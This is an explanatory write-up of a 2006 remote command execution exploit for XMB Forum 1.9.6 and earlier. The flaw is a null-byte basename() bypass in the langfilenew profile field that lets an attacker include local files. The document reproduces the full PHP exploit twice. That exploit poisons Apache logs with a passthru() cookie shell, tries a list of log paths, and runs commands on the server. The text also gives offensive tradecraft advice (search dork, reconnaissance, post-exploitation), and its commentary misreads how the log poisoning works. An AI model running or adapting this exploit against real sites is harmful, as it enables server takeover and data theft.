XMB 1.9.6 Remote Command Execution via Basename() Vulnerability

XMB 1.9.6 Remote Command Execution via Basename() Vulnerability
What this paper is
This paper details a vulnerability in XMB Forum software version 1.9.6 and earlier. The vulnerability allows an attacker to execute arbitrary commands on the server by exploiting a flaw in how the basename() function handles user-supplied input when updating a user's profile. Specifically, it enables a remote attacker to include arbitrary local files, which can then be used to execute commands.
Simple technical breakdown
The core of the vulnerability lies in the memcp.php file. When a user updates their profile and selects a new language, the software attempts to load a language file. It uses basename() on the provided langfilenew parameter to get just the filename part and then appends .lang.php.
The basename() function is supposed to strip directory information. However, by providing a path traversal sequence followed by a null byte (%00) and then a valid-looking filename (like /English), the attacker can trick basename() into returning only "English". This results in the software trying to load lang/English.lang.php.
Crucially, the attacker can also supply a path to a file they control, like an Apache log file, using the same path traversal and null byte trick. This path is then stored in the database. Later, when the forum's header is loaded, it includes the language file specified by the stored langfile variable. If the attacker has managed to inject malicious PHP code into a file that gets included (like an Apache log file), this code can be executed.
The exploit script automates this process:
- It first attempts to inject a small PHP script into the target server's web root. This script is designed to listen for commands via a cookie.
- It then logs into the XMB forum using provided credentials.
- It attempts to update the user's profile with a crafted
langfilenewvalue that points to a common log file (e.g.,access_log) and includes the null byte trick. This stores the log file path in the database. - Finally, it triggers the inclusion of the modified language file by requesting the index page, passing the command to be executed via a cookie.
Complete code and payload walkthrough
The provided PHP script is an exploit tool designed to leverage the XMB vulnerability. Let's break it down section by section.
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "XMB <= 1.9.6 Final basename() 'langfilenew' arbitrary local inclusion / remote commands xctn\n";
echo "by rgod rgod@autistici.org\n";
echo "site: http://retrogod.altervista.org\n";
echo "dork: \"Powered by XMB\"\n\n";#!/usr/bin/php -q -d short_open_tag=on: This is the shebang line, indicating the script should be executed with the PHP interpreter.-qmeans quiet mode (no output unless explicitly printed), and-d short_open_tag=onforces the interpreter to recognize<?as a valid opening tag for PHP code, which is important for embedding PHP within other files.<? ... ?>: This encloses the PHP code.echo ...: These lines print informational messages about the exploit, its author, and how to find vulnerable sites.
/*
works regardless of php.ini settings
*/
if ($argc<6) {
echo "Usage: php ".$argv[0]." host path username password cmd OPTIONS\n";
echo "host: target server (ip/hostname)\n";
echo "path: path to XMB \n";
echo "user/pass: you need a valid user account\n";
echo "cmd: a shell command\n";
echo "Options:\n";
echo " -p[port]: Specify a port other than 80\n";
echo " -P[ip:port]: \" a proxy\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /xmb/ user pass ls -la\n";
echo "php ".$argv[0]." localhost /xmb/Files/ user pass ls -la\n";
die;
}if ($argc<6): This block checks if the script received the minimum required command-line arguments.$argcis the argument count. If fewer than 6 arguments are provided (script name + host, path, user, pass, cmd), it prints usage instructions and exits (die).$argv: This array holds the command-line arguments.$argv[0]is the script name,$argv[1]is the host,$argv[2]is the path, and so on.
/*
software site: http://www.xmbforum.com/
vulnerable code in memcp.php at lines 331-333:
...
if ( !file_exists(ROOT.'/lang/'.basename($langfilenew).'.lang.php') ) {
$langfilenew = $SETTINGS['langfile'];
}
...
this check, when you update your profile and select a new language, can be
bypassed by supplying a well crafted value for langfilenew argument, ex:
../../../../../../../apache/logs/access.log[null char]/English
basename() returns 'English' and English.lang.php is an existing file in lang/
folder, now
../../../../../../../apache/logs/access.log[null char]
string is stored in xmb_members table so, every time you are logged in,
u can include an arbitrary file from
local resources because in header.php we have this line
require ROOT."lang/$langfile.lang.php";
and this works regardless of php.ini settings because of the ending null char
stored in database
this tool injects some code in Apache log files and tries to launch commands
*/- This is a crucial comment block explaining the vulnerability.
- It points to the vulnerable code snippet in
memcp.php. - The
if ( !file_exists(ROOT.'/lang/'.basename($langfilenew).'.lang.php') )condition is key. - The bypass involves crafting
$langfilenewto be something like../../../../../../../apache/logs/access.log%00/English. basename()applied to this string would returnEnglish.- The
file_exists()check would pass becauseEnglish.lang.phplikely exists. - However, the string stored in the database (for
$langfilenew) would be../../../../../../../apache/logs/access.log%00/English. - Later, in
header.php,require ROOT."lang/$langfile.lang.php";is used. If$langfilecontains the injected path with the null byte, therequirestatement effectively becomesrequire ROOT."lang/../../../../../apache/logs/access.log\x00/English.lang.php";. The null byte terminates the string, causing PHP to interpret../../../../../apache/logs/access.logas the filename to include. - This allows arbitrary file inclusion, and by writing commands into log files, remote code execution is achieved.
- It points to the vulnerable code snippet in
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);error_reporting(0): Disables error reporting, making the script quieter and preventing sensitive information from being leaked in error messages.ini_set("max_execution_time",0): Sets the maximum execution time for PHP scripts to unlimited, allowing long-running operations.ini_set("default_socket_timeout",5): Sets a short timeout for socket operations, preventing the script from hanging indefinitely if a connection fails.
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}function quick_dump($string): This function is a utility for displaying raw string data in a human-readable format, showing both hexadecimal byte values and printable characters. It's likely for debugging or analyzing network responses. It's not directly used in the exploit logic itself but is present in the original code.
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}$proxy_regex: A regular expression to validate proxy IP:port format.function sendpacketii($packet): This function handles sending HTTP requests.- It checks if a proxy is configured (
$proxy). - If no proxy, it uses
fsockopento connect directly to the target$hostand$port. - If a proxy is used, it connects to the proxy server first.
- It sends the
$packetusingfputs. - It then reads the response (
$html) from the socket. For direct connections, it reads line by line (fgets). For proxy connections, it reads byte by byte until it detects the end of the HTTP headers (\r\n\r\n). - The response is stored in the global
$htmlvariable.
- It checks if a proxy is configured (
$host=$argv[1];
$path=$argv[2];
$user=urlencode($argv[3]);
$pass=urlencode($argv[4]);
$cmd="";
$port=80;
$proxy="";
for ($i=5; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}- This section parses command-line arguments.
$host,$path,$user,$passare extracted.$userand$passare URL-encoded.- A loop processes arguments from index 5 onwards to extract the command (
$cmd), optional port (-p), and optional proxy (-P). - It validates that the
$pathstarts and ends with a slash. $pis constructed to be the base path for requests, either just the path or a full URL if a proxy is used.
$CODE ='<?php if (get_magic_quotes_gpc()){$_COOKIE[cmd]=stripslashes($_COOKIE[cmd]);}echo my_delim;set_time_limit(0);passthru($_COOKIE[cmd]);echo my_delim;die;?>';
$packet="GET ".$p.$CODE." HTTP/1.1\r\n";
$packet.="User-Agent: ".$CODE."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: close\r\n\r\n";
sendpacketii($packet);$CODE: This is the payload that the script attempts to inject. It's a small PHP script that:- Checks
get_magic_quotes_gpc()and strips slashes from thecmdcookie if it's enabled. This is a defense against older PHP configurations. - Prints
my_delim(a unique string to mark the start and end of the output). - Sets
set_time_limit(0)to allow long execution. - Uses
passthru($_COOKIE[cmd])to execute the command passed in thecmdcookie. - Prints
my_delimagain. die;to terminate execution.
- Checks
$packet: This constructs a GET request to inject the$CODEpayload. It attempts to place the payload directly into the$ppath. This is an attempt to place a file at the root of the web server or within a directory that can be directly accessed. This part is a bit unusual as it tries to GET the code itself. A more typical approach would be to POST it or use a file upload mechanism if available. It's possible this is intended to trigger a PHP execution if the server is configured to execute PHP files in directories it doesn't expect, or if$ppoints to a directory where PHP files are automatically executed.sendpacketii($packet): Sends this initial injection request.
$data ="username=".$user;
$data.="&password=".$pass;
$data.="&hide=1";
$data.="&secure=yes";
$data.="&loginsubmit=Login";
$packet ="POST ".$p."misc.php?action=login HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";
$packet.=$data;
sendpacketii($packet);- This section performs the login to the XMB forum.
- It prepares POST data for a login request to
misc.php?action=login. - It uses the provided
$userand$pass. - It constructs a POST packet and sends it using
sendpacketii.
- It prepares POST data for a login request to
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for ($i=1; $i<count($temp); $i++)
{
$temp2=explode(" ",$temp[$i]);
$temp3=explode("\r",$temp2[0]);
if (!strstr($temp3[0],";")){$temp3[0]=$temp3[0].";";}
$cookie.=" ".$temp3[0];
}
if (($cookie=='') | (!strstr($cookie,"xmbuser")) | (!strstr($cookie,"xmbpw"))){echo "Unable to login...";die;}
else {echo "cookie ->".$cookie."\r\n";}- This block parses the
Set-Cookieheader from the login response to extract the session cookies.- It splits the
$htmlresponse by "Set-Cookie: ". - It iterates through the parts, extracts the cookie string, ensures it ends with a semicolon, and concatenates them into the
$cookievariable. - It checks if the extracted cookie contains
xmbuserandxmbpw(typical XMB cookie names) to verify a successful login. If not, it exits.
- It splits the
//fill with possible locations...
$paths= array (
"../../../../../var/log/httpd/access_log",
"../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
// ... many more paths ...
"../../../../../var/log/error_log"
);$paths: This array contains a list of common locations for web server log files across different operating systems and configurations. These are potential targets for the file inclusion vulnerability. The path traversal../../...is used to navigate up the directory tree to reach these log files.
for ($i=0; $i<count($paths); $i++)
{
if (strlen($paths[$i])<40) //langfile is varchar(40)...
{
$xpl=$paths[$i];
echo "trying with: ".$paths[$i]."\r\n";
$xpl=urlencode($xpl);
$data ="newpassword=";
$data.="&newpasswordcf=";
$data.="&newemail=".urlencode("suntzu@suntzu.org");
$data.="&newsite=";
// ... many other profile fields ...
$data.="&langfilenew=".$xpl."%00/English"; // basename() circumvention, langfile column: varchar(40)
$data.="&month=0";
$data.="&day=";
$data.="&year=";
$data.="&tppnew=30";
$data.="&pppnew=25";
$data.="&newshowemail=no";
$data.="&newinv=1";
$data.="&newnewsletter=no";
$data.="&useoldu2u=no";
$data.="&saveogu2u=no";
$data.="&emailonu2u=no";
$data.="&timeformatnew=24";
$data.="&dateformatnew=dd-mm-yyyy";
$data.="&timeoffset1=0";
$data.="&editsubmit=Edit%20Profile";
$packet ="POST ".$p."memcp.php?action=profile HTTP/1.0\r\n";
$packet.="Referer: http://".$host.$path."member.php\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$packet ="GET ".$p."index.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cookie: ".$cookie." cmd=".$cmd.";\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"my_delim"))
{
echo "exploit succeeded...\n";
$temp=explode("my_delim",$html);
die($temp[1]);
}
}
}
//if you are here...
echo "exploit failed...";
?>- This is the core of the exploit loop.
- It iterates through each path in the
$pathsarray. if (strlen($paths[$i])<40): This check ensures the path is not too long, as thelangfilecolumn in thexmb_memberstable is avarchar(40).$xpl=urlencode($paths[$i]): The chosen log file path is URL-encoded.$data.="&langfilenew=".$xpl."%00/English";: This is the critical part. It constructs the POST data for updating the profile.$xplis the URL-encoded log file path.%00is the null byte./Englishis appended to satisfy thebasename()check, making it return "English".- The full string stored in the database will be something like
../../../../../apache/logs/access.log%00/English.
- The script then prepares a POST request to
memcp.php?action=profileto update the user's profile with this craftedlangfilenewvalue. It includes the extracted session$cookie. - After updating the profile, it sends a GET request to
index.php. This request is crucial because it triggers the inclusion of the language file. $packet.="Cookie: ".$cookie." cmd=".$cmd.";\r\n\r\n";: This is where the actual command execution happens. The command ($cmd) is passed in thecmdcookie. Whenindex.phpis processed, and the vulnerableheader.phpincludes the language file, the injected PHP code (which is now effectively the log file) will be executed. Thepassthru($_COOKIE[cmd])in the injected$CODEwill run the command provided in this cookie.if (strstr($html,"my_delim")): It checks the response for themy_delimstring. If found, it means the injected PHP code executed and returned output.$temp=explode("my_delim",$html); die($temp[1]);: The output between the delimiters is extracted and printed, and the script exits.- If the loop finishes without finding
my_delim, the exploit failed.
- It iterates through each path in the
Mapping list: code fragment/block -> practical purpose
#!/usr/bin/php -q -d short_open_tag=on: Ensures PHP interpreter is used and short tags are enabled for the exploit.echo "XMB <= 1.9.6 Final ...": Informational banner.if ($argc<6): Argument validation and usage display.- Comment block explaining vulnerability: Educational context for the exploit.
error_reporting(0); ini_set(...);: Script configuration for stealth and stability.function quick_dump($string): Debugging utility (not directly used in exploit logic).$proxy_regex: Proxy validation pattern.function sendpacketii($packet): Core network communication function (sends requests, receives responses).- Argument parsing (
$host,$path,$user,$pass,$cmd,$port,$proxy): Collects user-defined parameters. $CODE = '<?php ... passthru($_COOKIE[cmd]); ... ?>': The remote command execution payload.$packet="GET ".$p.$CODE." HTTP/1.1\r\n"; ... sendpacketii($packet);: Initial attempt to inject the payload directly (less reliable, might be for specific server configs).- Login POST request (
POST ... misc.php?action=login ...): Authenticates to the XMB forum. - Cookie extraction: Captures session cookies for subsequent authenticated requests.
$paths = array(...): List of potential log file locations.- Loop through
$paths: Tries each log file path. $data.="&langfilenew=".$xpl."%00/English";: Constructs the malicious profile update data with path traversal and null byte.- Profile update POST request (
POST ... memcp.php?action=profile ...): Updates the user's profile with the maliciouslangfilenewvalue. - Index page GET request (
GET ... index.php ... Cookie: ... cmd=".$cmd.";): Triggers the vulnerable include and passes the command to be executed. if (strstr($html,"my_delim")): Checks for successful command execution output.$temp=explode("my_delim",$html); die($temp[1]);: Extracts and displays the command output.echo "exploit failed...";: Fallback message if exploit fails.
Practical details for offensive operations teams
- Required Access Level: Unauthenticated access to the web application is sufficient to start the exploit. However, the attacker needs valid user credentials (username and password) for the XMB forum to log in and update the profile.
- Lab Preconditions:
- A vulnerable XMB installation (version 1.9.6 or earlier).
- A web server serving the XMB application.
- The web server must be configured to allow PHP execution and file inclusion.
- The target log files (e.g., Apache access logs) must be readable by the web server process and writable by the user that the web server process runs as (or the attacker must find another way to inject data into them, which this exploit doesn't directly do for logs, but rather relies on the inclusion of the log file itself).
- The
php.inisettings likeallow_url_fopenandallow_url_includedo not need to be enabled, as this exploit uses local file inclusion.
- Tooling Assumptions:
- The exploit is written in PHP and requires a PHP interpreter to run.
- Standard networking tools are assumed for initial reconnaissance (e.g.,
nmapto identify web servers,curlfor manual testing).
- Execution Pitfalls:
- Incorrect Path: The
$pathargument must be precise. If it's wrong, requests will fail. - Invalid Credentials: If the provided username/password are incorrect, the login will fail, and the exploit cannot proceed.
- Log File Location: The
$pathsarray contains common locations, but the actual log file path might differ. If none of the provided paths work, the attacker would need to perform reconnaissance to find the correct path. - Database Schema/Size Limits: The
langfilecolumn has avarchar(40)limit. If the chosen log file path, even after URL encoding and appending%00/English, exceeds this, the exploit will fail. Thestrlen($paths[$i])<40check is a basic safeguard. - Web Server Configuration: Some web servers might restrict access to log files or prevent inclusion of files outside specific directories.
- Null Byte Filtering: If the server or PHP configuration filters out null bytes (
%00), the exploit will not work. basename()Behavior: While the exploit targetsbasename(), specific PHP versions or configurations might alter its behavior, though this is less common.- Initial Payload Injection: The
GET $p.$CODEpart is unusual. If the server doesn't execute PHP files directly from GET requests in that manner, this initial injection might fail. The primary goal is to get the attacker's chosen log file path stored in the database. The actual command execution relies on thepassthru($_COOKIE[cmd])part being executed when the vulnerableheader.phpincludes the log file.
- Incorrect Path: The
- Tradecraft Considerations:
- Reconnaissance: Identifying XMB installations (using search engines, specific HTTP headers, or file checks like
/forum/index.php?action=about) is the first step. Then, identifying valid user accounts is crucial. - Stealth: The exploit uses standard HTTP requests. The primary indicators would be the login attempt and the profile update. The final command execution might be noisy depending on the command itself.
- Payload Delivery: The exploit relies on the
cmdcookie for delivering the command. This is a common technique. - Post-Exploitation: Once command execution is achieved, the attacker can proceed with further actions, such as escalating privileges, exfiltrating data, or establishing persistence.
- Reconnaissance: Identifying XMB installations (using search engines, specific HTTP headers, or file checks like
Where this was used and when
- Software: XMB Forum software, specifically versions 1.9.6 and earlier.
- Year of Discovery/Publication: 2006. The exploit was published on exploit-db.com on August 13, 2006.
- Context: This type of vulnerability was common in web applications of that era, where input validation was often less robust. It allowed for remote code execution, a high-impact vulnerability. It would have been used by attackers targeting websites running vulnerable versions of XMB forums for malicious purposes, such as defacement, data theft, or using the compromised server for further attacks.
Defensive lessons for modern teams
- Input Validation is Paramount: Always validate and sanitize user-supplied input, especially when it's used in file paths, database queries, or executed commands. The
basename()function alone is not sufficient for secure path handling. - Secure File Inclusion Practices:
- Avoid including files based on user-controlled input.
- If dynamic includes are necessary, use whitelisting of allowed filenames or paths.
- Be aware of path traversal vulnerabilities (
../,..\) and null byte injection (%00).
- Principle of Least Privilege: Ensure the web server process runs with the minimum necessary privileges. This limits the damage if an attacker can include or execute files.
- Regular Patching and Updates: Keep all web applications and their dependencies updated to the latest stable versions. This vulnerability was patched in later versions of XMB.
- Web Application Firewalls (WAFs): WAFs can help detect and block common attack patterns like path traversal and null byte injection, though they are not a foolproof solution.
- Logging and Monitoring: Robust logging of web server access, application errors, and user activity can help detect suspicious patterns, such as unusual profile updates or unexpected file inclusions.
ASCII visual (if applicable)
This exploit involves several steps and interactions. A simplified flow could be visualized as follows:
+-----------------+ +-----------------+ +-----------------+
| Attacker's |----->| XMB Web Server |----->| XMB Database |
| Machine | | (Vulnerable) | | |
+-----------------+ +-----------------+ +-----------------+
| |
| 1. Login Request | 2. Profile Update (malicious langfilenew)
| (User/Pass) | (Stores log path + %00)
| |
| 3. Index.php Request | 4. header.php includes vulnerable langfile
| (with cmd cookie) | (e.g., /var/log/access.log)
| |
| | 5. Injected PHP code in log file executes
| | (via passthru($_COOKIE[cmd]))
| |
+-----------------------+ 6. Response with command output
(if my_delim found)Explanation of the diagram:
- The attacker first sends login credentials to the XMB web server.
- Upon successful login, the attacker sends a profile update request. The
langfilenewparameter contains a path traversal sequence, a null byte (%00), and a valid-looking filename. This malicious string is stored in the XMB database. - The attacker then requests the
index.phppage, passing the command to be executed in a cookie namedcmd. - When
index.phpis processed, itsheader.phpincludes the language file. Due to the stored maliciouslangfilenewvalue and the null byte, the server effectively includes the attacker-specified log file. - If the attacker has successfully manipulated the log file (which this exploit doesn't directly do, but relies on the inclusion of the log file itself as the vulnerable point), or if the log file itself contains executable PHP code (less likely, but possible if the attacker can write to it), the PHP code within that file is executed. The exploit's payload (
$CODE) is designed to execute commands from thecmdcookie usingpassthru. - If the execution is successful, the output of the command is returned to the attacker.
Source references
- Exploit-DB Paper: https://www.exploit-db.com/papers/2178
- Exploit-DB Raw Exploit: https://www.exploit-db.com/raw/2178
- XMB Forum Software Site (historical): http://www.xmbforum.com/ (Note: This site may no longer be active or host the original software).
Original Exploit-DB Content (Verbatim)
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "XMB <= 1.9.6 Final basename() 'langfilenew' arbitrary local inclusion / remote commands xctn\n";
echo "by rgod rgod@autistici.org\n";
echo "site: http://retrogod.altervista.org\n";
echo "dork: \"Powered by XMB\"\n\n";
/*
works regardless of php.ini settings
*/
if ($argc<6) {
echo "Usage: php ".$argv[0]." host path username password cmd OPTIONS\n";
echo "host: target server (ip/hostname)\n";
echo "path: path to XMB \n";
echo "user/pass: you need a valid user account\n";
echo "cmd: a shell command\n";
echo "Options:\n";
echo " -p[port]: Specify a port other than 80\n";
echo " -P[ip:port]: \" a proxy\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /xmb/ user pass ls -la\n";
echo "php ".$argv[0]." localhost /xmb/Files/ user pass ls -la\n";
die;
}
/*
software site: http://www.xmbforum.com/
vulnerable code in memcp.php at lines 331-333:
...
if ( !file_exists(ROOT.'/lang/'.basename($langfilenew).'.lang.php') ) {
$langfilenew = $SETTINGS['langfile'];
}
...
this check, when you update your profile and select a new language, can be
bypassed by supplying a well crafted value for langfilenew argument, ex:
../../../../../../../apache/logs/access.log[null char]/English
basename() returns 'English' and English.lang.php is an existing file in lang/
folder, now
../../../../../../../apache/logs/access.log[null char]
string is stored in xmb_members table so, every time you are logged in,
u can include an arbitrary file from
local resources because in header.php we have this line
require ROOT."lang/$langfile.lang.php";
and this works regardless of php.ini settings because of the ending null char
stored in database
this tool injects some code in Apache log files and tries to launch commands
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
$host=$argv[1];
$path=$argv[2];
$user=urlencode($argv[3]);
$pass=urlencode($argv[4]);
$cmd="";
$port=80;
$proxy="";
for ($i=5; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$CODE ='<?php if (get_magic_quotes_gpc()){$_COOKIE[cmd]=stripslashes($_COOKIE[cmd]);}echo my_delim;set_time_limit(0);passthru($_COOKIE[cmd]);echo my_delim;die;?>';
$packet="GET ".$p.$CODE." HTTP/1.1\r\n";
$packet.="User-Agent: ".$CODE."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: close\r\n\r\n";
sendpacketii($packet);
$data ="username=".$user;
$data.="&password=".$pass;
$data.="&hide=1";
$data.="&secure=yes";
$data.="&loginsubmit=Login";
$packet ="POST ".$p."misc.php?action=login HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for ($i=1; $i<count($temp); $i++)
{
$temp2=explode(" ",$temp[$i]);
$temp3=explode("\r",$temp2[0]);
if (!strstr($temp3[0],";")){$temp3[0]=$temp3[0].";";}
$cookie.=" ".$temp3[0];
}
if (($cookie=='') | (!strstr($cookie,"xmbuser")) | (!strstr($cookie,"xmbpw"))){echo "Unable to login...";die;}
else {echo "cookie ->".$cookie."\r\n";}
//fill with possible locations...
$paths= array (
"../../../../../var/log/httpd/access_log",
"../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../etc/httpd/logs/access_log",
"../../../../../etc/httpd/logs/access.log",
"../../../../../etc/httpd/logs/error_log",
"../../../../../etc/httpd/logs/error.log",
"../../../../../var/www/logs/access_log",
"../../../../../var/www/logs/access.log",
"../../../../../usr/local/apache/logs/access_log",
"../../../../../usr/local/apache/logs/access.log",
"../../../../../var/log/apache/access_log",
"../../../../../var/log/apache/access.log",
"../../../../../var/log/access_log",
"../../../../../var/www/logs/error_log",
"../../../../../var/www/logs/error.log",
"../../../../../usr/local/apache/logs/error_log",
"../../../../../usr/local/apache/logs/error.log",
"../../../../../var/log/apache/error_log",
"../../../../../var/log/apache/error.log",
"../../../../../var/log/access_log",
"../../../../../var/log/error_log"
);
for ($i=0; $i<count($paths); $i++)
{
if (strlen($paths[$i])<40) //langfile is varchar(40)...
{
$xpl=$paths[$i];
echo "trying with: ".$paths[$i]."\r\n";
$xpl=urlencode($xpl);
$data.="newpassword=";
$data.="&newpasswordcf=";
$data.="&newemail=".urlencode("suntzu@suntzu.org");
$data.="&newsite=";
$data.="&newwebcam=";
$data.="&newaim=";
$data.="&newicq=";
$data.="&newyahoo=";
$data.="&newmsn=";
$data.="&newmemlocation=";
$data.="&newmood=";
$data.="&newavatar=";
$data.="&newbio=";
$data.="&newsig=";
$data.="&thememem=0";//default theme
$data.="&langfilenew=".$xpl."%00/English"; // basename() circumvention, langfile column: varchar(40)
$data.="&month=0";
$data.="&day=";
$data.="&year=";
$data.="&tppnew=30";
$data.="&pppnew=25";
$data.="&newshowemail=no";
$data.="&newinv=1";
$data.="&newnewsletter=no";
$data.="&useoldu2u=no";
$data.="&saveogu2u=no";
$data.="&emailonu2u=no";
$data.="&timeformatnew=24";
$data.="&dateformatnew=dd-mm-yyyy";
$data.="&timeoffset1=0";
$data.="&editsubmit=Edit%20Profile";
$packet ="POST ".$p."memcp.php?action=profile HTTP/1.0\r\n";
$packet.="Referer: http://".$host.$path."member.php\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$packet ="GET ".$p."index.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cookie: ".$cookie." cmd=".$cmd.";\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"my_delim"))
{
echo "exploit succeeded...\n";
$temp=explode("my_delim",$html);
die($temp[1]);
}
}
}
//if you are here...
echo "exploit failed...";
?>
# milw0rm.com [2006-08-13]